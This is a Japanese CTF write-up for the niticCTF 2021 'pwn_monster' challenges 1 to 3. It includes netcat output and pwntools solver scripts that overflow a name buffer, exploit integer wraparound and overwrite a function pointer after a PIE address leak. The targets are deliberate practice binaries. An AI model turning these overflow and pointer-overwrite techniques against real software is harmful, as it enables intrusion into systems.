Try   HackMD
tags: pwn niticCTF2021

pwn_monster1, 2, 3 - niticCTF

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

solverのソースコードは、GitHubにあります。

pwn_monster1

TL;DR

  • ncしたら、nameに入力した文字が溢れそうなのでAを大量に入力する
  • FLAG GET

writeup

ncした結果

$ nc 35.200.120.35 9001

 ____                 __  __                 _
|  _ \__      ___ __ |  \/  | ___  _ __  ___| |_ ___ _ __
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
|  __/ \ V  V /| | | | |  | | (_) | | | \__ \ ||  __/ |
|_|     \_/\_/ |_| |_|_|  |_|\___/|_| |_|___/\__\___|_|
                        Press Any Key


Welcome to Pwn Monster World!

I'll give your first monster!

Let's give your monster a name!
+--------+--------------------+----------------------+
|name    | 0x0000000000000000 |                      |
|        | 0x0000000000000000 |                      |
|HP      | 0x0000000000000064 |                  100 |
|ATK     | 0x000000000000000a |                   10 |
+--------+--------------------+----------------------+
+--------+--------------------+----------------------+
|name    | 0x0000000000000000 |                      |
|        | 0x0000000000000000 |                      |
|HP      | 0x0000000000000064 |                  100 |
|ATK     | 0x000000000000000a |                   10 |
+--------+--------------------+----------------------+

ncした時に現れるこの部分から、たくさんのAを与えてみる

Input name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa

+--------+--------------------+----------------------+
|name    | 0x4141414141414141 |             AAAAAAAA |
|        | 0x4141414141414141 |             AAAAAAAA |
|HP      | 0x4141414141414141 |  4702111234474983745 |
|ATK     | 0x4141414141414141 |  4702111234474983745 |
+--------+--------------------+----------------------+
OK, Nice name.

Let's battle with Rival! If you win, give you FLAG.

[You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApwnchu HP: 4702111234474983745
[Rival] pwnchu HP: 9999
Your Turn.

Rival monster took 4702111234474983745 damage!


[You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApwnchu HP: 4702111234474983745
[Rival] pwnchu HP: -4702111234474973746
Win!

nitic_ctf{We1c0me_t0_pwn_w0r1d!}

*** stack smashing detected ***: terminated
Aborted (core dumped)

pwn_monster1のFLAG
nitic_ctf{We1c0me_t0_pwn_w0r1d!}

pwn_monster2

TL;DR

  • 和が110になればいいので、0xFFで0に繰り上がることを利用する
  • FLAG GET

writeup

give_monster_name関数
void give_monster_name(Monster* monster) { printf("Let's give your monster a name!\n"); print_monster_infomation(*monster); int64_t checksum = monster->hp + monster->attack; printf("Checksum: %ld\n", checksum); printf("Input name: "); scanf("%s%*c", monster->name); print_monster_infomation(*monster); printf("Checksum: %ld\n", monster->hp + monster->attack); if (monster->hp + monster->attack != checksum) { puts("Detect cheat."); exit(1); } puts("OK, Nice name."); }
int64_t checksum = monster->hp + monster->attack; ~~ if (monster->hp + monster->attack != checksum) { puts("Detect cheat."); exit(1); } //(なお、main関数でhpとATKの初期値がそれぞれ100と10に設定されている)

hpATKの和が110になるためには、
hpの値がマイナスにならない程度に引き上げて、0xFFFFFFFFFFFFFFFFを超えたら繰り上がることを利用する。

solver

from pwn import * #io = process("./vuln") io = remote("35.200.120.35", 9002) payload = b"" payload += b"A"*0x10 payload += b"\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x0F" #1152921504606846975 payload += b"\x6F\x00\x00\x00\x00\x00\x00\xF0" #-1152921504606846865 io.sendlineafter("Input name: ", payload) io.interactive()

pwn_monster2のFLAG
nitic_ctf{buffer_and_1nteger_overfl0w}

pwn_monster3

TL;DR

  • PIEが有効なのでbase addressを求める
  • リークされてるcry関数のアドレスとbinaryの中にある相対アドレスの差でbase addressが求められる
  • base addressとshow_flagの相対アドレスの和で求めたSHOW_FLAGでcryのアドレスを上書きする

writeup

$ nc 35.200.120.35 9003
 ____                 __  __                 _
|  _ \__      ___ __ |  \/  | ___  _ __  ___| |_ ___ _ __
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
|  __/ \ V  V /| | | | |  | | (_) | | | \__ \ ||  __/ |
|_|     \_/\_/ |_| |_|_|  |_|\___/|_| |_|___/\__\___|_|
                        Press Any Key

Welcome to Pwn Monster World!
I'll give your first monster!
Let's give your monster a name!
+--------+--------------------+----------------------+
|name    | 0x0000000000000000 |                      |
|        | 0x0000000000000000 |                      |
|HP      | 0x0000000000000064 |                  100 |
|ATK     | 0x000000000000000a |                   10 |
|cry()   | 0x000055d2362ad34e |                      |
+--------+--------------------+----------------------+
Input name:

まず、ATKの下にあるcry関数のアドレスを取得する。(solverの7,8行目)

バイナリ内のcry関数my_monster_cryのアドレスを得て、差を取る。(solverの10行目)
これによって、base addressがわかる。

base addressとshow_flagの相対アドレスの和をとって、
cry関数のアドレスを上書きする。(14~17行目)

solver

from pwn import * elf = ELF("./vuln") #io = process("./vuln") io = remote("35.200.120.35", "9003") # leak cry function address io.recvuntil("cry() | ") cry_addr = int(io.recvuntil(" ").strip(), 16) # calc binary base address bin_baseaddr = cry_addr - elf.symbols["my_monster_cry"] # build show_flag function address SHOW_FLAG = bin_baseaddr + elf.symbols["show_flag"] payload = b"" payload += b"A"*0x10 + b"B"*0x10 payload += p64(SHOW_FLAG) io.sendafter("Input name: ", payload) io.interactive()

pwn_monster3のFLAG
nitic_ctf{rewrite_function_pointer_is_fun}